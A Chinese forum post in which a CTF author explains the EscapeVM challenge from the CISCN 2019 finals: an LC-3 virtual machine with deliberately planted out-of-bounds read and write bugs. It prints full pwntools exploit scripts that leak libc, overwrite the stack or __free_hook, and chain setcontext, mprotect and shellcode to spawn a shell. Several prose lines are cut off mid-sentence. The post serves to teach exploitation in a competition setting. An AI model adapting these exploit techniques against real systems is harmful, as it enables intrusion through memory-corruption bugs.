CISCN 2019 Finals EscapeVM（Pwn 2）出题报告

cpt_**** / 2019-08-02 09:10:00 / 浏览数 4846 安全技术 CTF 顶(1) 踩(0)

这是我们队伍第一次打进全国大学生信息安全竞赛（国赛）的决赛，每个队伍要求出一道题目作为Build it环节的提交。由于这次没有把解出题目的队伍数目纳入评分标准，于是决定放开手脚搞搞新意思，用两天多点的时间出了这题。决赛的时候我们自然不会抽到自己的题目。tql，下面记录一下这题的出题思路。

出题的思路源于某天刷玄武推送时候看到的一篇博客：LC-3,
作者用较少的代码量简单实现了一个LC-3架构的虚拟机。堆题目做的太多了没啥意思，这次就跟上国际赛的热点，出一道虚拟机逃逸的题目。第一次看到类似的题目是在SE
shell的目的。

漏洞

参考LC-3的汇编文档和虚拟机实现代码，列举出可以用于读写内存的指令。发现其中提供多条指令来完成读写内存，包括有OP_LD，OP_ST，OP_LDR，OP_STR，OP_LDI，

```
case OP_LDR:
                   /* LDR */
                   {
                       uint16_t r0 = (instr >> 9) & 0x7;
                       uint16_t r1 = (instr >> 6) & 0x7;
                       uint16_t r2 = (instr >> 3) & 0x7;
                       int32_t addr = (reg[r1] << 16) + reg[r2];
                       // [BUG] OOB Read!
                       reg[r0] = mem_read(addr);
                       update_flags(r0);
                   }

case OP_STR:
                   /* STR */
                   {
                       uint16_t r0 = (instr >> 9) & 0x7;
                       uint16_t r1 = (instr >> 6) & 0x7;
                       uint16_t r2 = (instr >> 3) & 0x7;
                       uint16_t offset = sign_extend(instr & 0x3F, 6);
                       int32_t addr = (reg[r1] << 16) + reg[r2];
                       // [BUG] OOB Write!
                       mem_write(addr, reg[r0]);
                   }
```

保护方面采取全部打开的配置。

利用

首先观察到程序初始化的时候用`malloc`分配出一段比较大的空间来存放虚拟机所要执行的代码，我们引入的漏洞实际上只有越界读写的能力，如果想要造成全局的任意地址

```
void  init() {
   alarm(15);
   setvbuf(stdout, 0, 2, 0);
   setvbuf(stdin, 0, 2, 0);
   print_banner();
   memory = (uint16_t*) malloc(sizeof(uint16_t) * UINT16_MAX);
   reg = (uint16_t*) malloc(sizeof(uint16_t) * R_COUNT);
}
```

我设计题目的时候思考了很久要通过怎样的方式给选手泄露`memory`的地址，好让选手获得任意地址读写的能力，如何才能显得不太突兀又考察到选手的水平。刚开始采取了

但是我们真的需要`memory`的地址才能完成攻击链吗？其实并不需要。用gdb调试观察内存布局就能发现以下规律：在32位的系统当中，`malloc`一个足够大的内存的时候，

```
0x56555000 0x56557000 r-xp     2000 0      /pwn/challange/bin/release/lc3vm
0x56558000 0x56559000 r--p     1000 2000   /pwn/challange/bin/release/lc3vm
0x56559000 0x5655a000 rw-p     1000 3000   /pwn/challange/bin/release/lc3vm
0x5655a000 0x5657b000 rw-p    21000 0      [heap]
0xf7df2000 0xf7e14000 rw-p    22000 0      ■memory■<------------------
0xf7e14000 0xf7fc4000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so■libc■
0xf7fc4000 0xf7fc6000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fc6000 0xf7fc7000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fc7000 0xf7fca000 rw-p     3000 0
```

```
0xf7fd3000 0xf7fd4000 rw-p     1000 0
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]
```

正如这里初始化分配`memory`空间的时候，`sizeof(uint16_t) *`
`UINT16_MAX`是个足够大的size，分配的空间刚好落在libc段的前面。这就意味着虽然打开了ASLR，`memory`到libc段的距离总是不变的，我们通过固定偏移越界读写就能够

明白了这点以后思路比较清晰了，首先要用计算偏移的方法从libc上读取一个libc地址，然后可以通过写hook等方式来劫持EIP。为了防止选手通过读GOT表的方式来获取lib

```
void  mem_write(int32_t address, uint16_t val)
{
   if (address <  0) {
       exit(0);
   }
   memory[address] = val;
}

uint16_t  mem_read(int32_t address)
{
   if (address <  0) {
       exit(0);
   }
   if (address == MR_KBSR)
   {
       if (check_key())
       {
       memory[MR_KBSR] = (1  <<  15);
       memory[MR_KBDR] =  getchar();
       }
       else
       {
       memory[MR_KBSR] =  0;
       }
   }
   return memory[address];
}
```

有了libc上的任意读写，思路还是比较直接的。但是在32位上不能通过把`__malloc_hook`和`__free_hook`写成onegadget的方法来get
shell，因为调用时候会发现无论怎么调整条件都不满足（栈上存放信息太多，无法找到一个null表项来满足onegadget的调用条件）。赛后交流的时候pizza说是直接把__f

```
void  cleanup() {
   free(memory);
   free(reg);
}
```

实际上我出题时候提供的exp用了一种更加通用一点的方法（当然也比较复杂一点），首先通过偏移读取libc上面`__IO_2_1_stdin`的指针，可以得到一个libc地址，因为lib
chain的方法来完成`system■“/bin/sh”■`的调用。
具体exp如下：

```
from pwn import *
import re

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}

libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
elf = ELF('./challange/lc3vm')

if len(sys.argv) == 1:
   p = process('./challange/lc3vm')
elif len(sys.argv) == 3:
   p = remote(sys.argv[1], sys.argv[2])

se      = lambda data               :p.send(data)
```

```python
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))


global memory

def calculate_off(dst):
   off = dst - memory
   if off < 0:
       return (dst - memory) / 2 + 0x100000000
   else:
       return (dst - memory) / 2

def write_primitive(addr, value):
   with context.local(endian='big'):
       code = p16(0x3000) # .ORIG 0X3000
       code += p16(0x2407) # LD R2,X
       code += p16(0x2207) # LD R1,Y
       code += p16(0x2008) # LD R0,Z2
       code += p16(0x708A) # STR R0, R1, #10
       code += p16(0x1261) # ADD, R1, R1, #1
       code += p16(0x2004) # LD, R0, Z1
       code += p16(0x708A) # STR R0, R2, #10
       code += p16(0xF025) # HALT
       code += p16(addr >> 16)
       code += p16(addr & 0xFFFF)
       code += p16(value >> 16)
       code += p16(value & 0xFFFF)
       return code

def read_primitive(addr):
   with context.local(endian='big'):
       code = p16(0x3000)
       code += p16(0x2407) # LD R2, X
       code += p16(0x2207) # LD R1, Y
       code += p16(0x608a) # LDR R0, R2, #10
       code += p16(0xF021) # OUT
       code += p16(0x1261) # ADD R1, R1, #1
       code += p16(0x608A) # LDR R0, R2, #10
       code += p16(0xF021) # OUT
       code += p16(0xF025) # HALT
       code += p16(addr >> 16)
       code += p16(addr & 0xFFFF)
   return code

def leak_memory():
   with context.local(endian='big'):
       code = p16(0x3000)
       code += p16(0x11e0) # ADD R0, R7, #0
       code += p16(0xf021) # OUT
       code += p16(0x5020) # AND R0, R0, #0
       code += p16(0x11a0) # ADD R0, R6, #0
       code += p16(0xf021) # OUT
       code += p16(0xf025) # HALT
   return code

def do_exit():
   with context.local(endian='big'):
       code = p16(0x3000)
       code += p16(0xf026) # EXIT
   return code
```

```
image = leak_memory()
p.sendafter("Input: ", image)
content = ru("HALT")
memory = u32(content)
info_addr("memory", memory)

image1 = read_primitive(calculate_off(elf.got['printf']))
p.sendafter("Input: ", image1)
content = ru("HALT")
leak_libc = u32(content)
info_addr("leak_libc", leak_libc)
libc.address = leak_libc - libc.symbols['printf']
info_addr("libc", libc.address)

image2 = read_primitive(calculate_off(libc.symbols['environ']))
p.sendafter("Input: ", image2)
content = ru("HALT")
leak_stack = u32(content)
info_addr("leak_stack", leak_stack)

stack_target = leak_stack - 0xa0
image3 = write_primitive(calculate_off(stack_target), libc.symbols['system'])

p.sendafter("Input: ", image3)

stack_target = leak_stack - 0xa0 + 8
image3 = write_primitive(calculate_off(stack_target), libc.search("/bin/sh").next())
p.sendafter("Input: ", image3)

image4 = do_exit()
p.sendafter("Input: ", image4)

p.interactive()
```

提高难度

本着往死里出的宗旨，最后还想加一个沙盒保护来禁止execve调用，这样的话`__free_hook`写`system`的办法也行不通了。后来想着前面逆向指令集的工作都这么多了，后

答案还是利用`setcontext`的gadget，只不过之前利用`setcontext`都是在64位，32位还比较少见，对内存的布局要求稍微要复杂一点。整体利用思路如下：

1. 通过`OP_STR` 和`OP_LDR`的漏洞构造任意读写原语
2. 观察发现malloc出来memory的地址正好位于libc段的上方

```
0x56555000 0x56557000 r-xp     2000 0      /pwn/challange/bin/release/lc3vm
0x56558000 0x56559000 r--p     1000 2000   /pwn/challange/bin/release/lc3vm
0x56559000 0x5655a000 rw-p     1000 3000   /pwn/challange/bin/release/lc3vm
0x5655a000 0x5657b000 rw-p    21000 0      [heap]
0xf7df2000 0xf7e14000 rw-p    22000 0      ■memory■
0xf7e14000 0xf7fc4000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so■libc■
0xf7fc4000 0xf7fc6000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fc6000 0xf7fc7000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fc7000 0xf7fca000 rw-p     3000 0
0xf7fd3000 0xf7fd4000 rw-p     1000 0
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]
```

3. 可以通过偏移读取libc上面的`_IO_2_1_stdin_`指针，然后计算出libc地址
4. 因为libc段和memory的偏移每次都是固定的，所以也可以得出memory的地址
   写`__free_hook`为`setcontext_gadget`

```
0xf7e510e7 <setcontext+39>:  mov    eax,DWORD PTR [esp+0x4]
0xf7e510eb <setcontext+43>:  mov    ecx,DWORD PTR [eax+0x60]
0xf7e510ee <setcontext+46>:  fldenv [ecx]
0xf7e510f0 <setcontext+48>:  mov    ecx,DWORD PTR [eax+0x18]
```

```
0xf7e510f3 <setcontext+51>:  mov    fs,ecx
0xf7e510f5 <setcontext+53>:  mov    ecx,DWORD PTR [eax+0x4c]
0xf7e510f8 <setcontext+56>:  mov    esp,DWORD PTR [eax+0x30]
0xf7e510fb <setcontext+59>:  push   ecx
0xf7e510fc <setcontext+60>:  mov    edi,DWORD PTR [eax+0x24]
0xf7e510ff <setcontext+63>:  mov    esi,DWORD PTR [eax+0x28]
0xf7e51102 <setcontext+66>:  mov    ebp,DWORD PTR [eax+0x2c]
0xf7e51105 <setcontext+69>:  mov    ebx,DWORD PTR [eax+0x34]
0xf7e51108 <setcontext+72>:  mov    edx,DWORD PTR [eax+0x38]
0xf7e5110b <setcontext+75>:  mov    ecx,DWORD PTR [eax+0x3c]
0xf7e5110e <setcontext+78>:  mov    eax,DWORD PTR [eax+0x40]
0xf7e51111 <setcontext+81>:  ret
```

6. 往memory上面布局好相应的参数，借助`setcontext_gadget`我们就能控制所有的寄存器，这里主要是改变esp的值，pivot到memroy段我们可以控制的地方a1
7. 在a1上布局`mprotect`的ropchain，以及shellcode。
8. 通过EXIT指令就能跳到`setcontext`，然后进行pivot到memory段mprotect解开执行权限，最后跳shellcode。

还有一个需要注意的点是LC-3这里是大端架构，所以写rop chain的时候需要做一下转换，具体exp如下：

```
from pwn import *
import re

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}

libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
elf = ELF('./challange/lc3vm')

if len(sys.argv) == 1:
   p = process('./challange/lc3vm')
elif len(sys.argv) == 3:
   p = remote(sys.argv[1], sys.argv[2])

gdbcmd = "set $BSS=0x606020\n" # set addr variable here to easily access in gdb

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

def write_primitive(addr, value):
   with context.local(endian='big'):
       code = p16(0x3000) # .ORIG 0X3000
       code += p16(0x2407) # LD R2,X
       code += p16(0x2207) # LD R1,Y
       code += p16(0x2008) # LD R0,Z2
       code += p16(0x708A) # STR R0, R1, #10
       code += p16(0x1261) # ADD, R1, R1, #1
       code += p16(0x2004) # LD, R0, Z1
       code += p16(0x708A) # STR R0, R2, #10
       code += p16(0xF025) # HALT
       code += p16(addr >> 16)
       code += p16(addr & 0xFFFF)
       code += p16(value >> 16)
       code += p16(value & 0xFFFF)
       return code

def read_primitive(addr):
   with context.local(endian='big'):
       code = p16(0x3000)
```

```
        code += p16(0x2407) # LD R2, X
        code += p16(0x2207) # LD R1, Y
        code += p16(0x608a) # LDR R0, R2, #10
        code += p16(0xF021) # OUT
        code += p16(0x1261) # ADD R1, R1, #1
        code += p16(0x608A) # LDR R0, R2, #10
        code += p16(0xF021) # OUT
        code += p16(0xF025) # HALT
        code += p16(addr >> 16)
        code += p16(addr & 0xFFFF)
    return code

def convert_addr(addr):
    return p16(addr & 0xffff) + p16(addr >> 16)

def swap(content):
    if (len(content) % 2) is not 0:
        content += "\x00"
    result = ""
    for i in range(0, len(content), 2):
        result += content[i+1] + content[i]
    return result

def prepare_rop():
    with context.local(endian='big'):
        header = p16(0x0000)
        addr = libc.address - 0x22000
        esp = libc.address - 0x22000 + 0x200 + 4

        code = "\x00" * 0x18
        code += p32(0)
        code = code.ljust(0x30, "\x00")
        code += convert_addr(esp)
        code = code.ljust(0x4c, "\x00")
        code += convert_addr(libc.symbols['mprotect']) # ret_addr
        code = code.ljust(0x60, "\x00")
        code += convert_addr(addr+0x1000)
        code = code.ljust(0x1fc, "\x00")
        code += convert_addr(addr+0x308) # ret_addr after mprotect
        code += convert_addr(addr) # mprotect->addr
        code += convert_addr(0x1000) # mprotect->size
        code += convert_addr(0x7) # mprotect->prop
        code = code.ljust(0x300, "\x00")
        code += swap(asm(shellcraft.i386.linux.sh())) # shellcode

    return header + code

def do_exit():
    with context.local(endian='big'):
        code = p16(0x3000)
        code += p16(0xf026) # EXIT
    return code

# leak libc
off = (-8 + 0x22000 + 0x1b2e00) / 2
image1 = read_primitive(off)
p.sendafter("Input: ", image1)
content = ru("HALT")
leak_libc = u32(content)
info_addr("leak_libc", leak_libc)
libc.address = leak_libc - libc.symbols['_IO_2_1_stdin_']
info_addr("libc", libc.address)


# set freehook -> setcontext_gadget
off = (-8 + 0x22000 + libc.symbols['__free_hook'] - libc.address) / 2
setcontext_gadget = libc.address + 0x3d0e7
image2 = write_primitive(off, setcontext_gadget)
p.sendafter("Input: ", image2)
```

```
# prepare_rop
image4 = prepare_rop()
p.sendafter("Input: ", image4)

# trigger free and go to rop
gdb.attach(p)
image5 = do_exit()
p.sendafter("Input: ", image5)

p.interactive()
```

后记

这题主要想分享给大家三个知识点：

1. 虚拟机指令集的逆向，以及虚拟机类型pwn在CTF中常见的漏洞点设置
2. 32位下分配大量空间后的内存布局（mmap新段放在libc段前面）
3. 32位下`setcontext`gadget如何使用，将`__free_hook`劫持转换为rop。

很高兴这道题目以第二名的build分数获得了创新单项奖，同时帮助队伍忝列前十。
再次祝贺pizza短时间内解出此题，同时也希望国内比赛的pwn能多些新意，总是off-by-null之类的堆题目也没啥意思对吧。希望各位师傅玩得开心，若题目有不当之处，还

cpt.shao@Xp0int

escapevm.zip (2.26 MB) 下载附件
点击收藏 | 2 关注 | 1
上一篇：无脑生成gopher协议利用pay... 下一篇：基于AST的Webshell检测

1. 0 条回复
   - 动动手指，沙发就是你的了！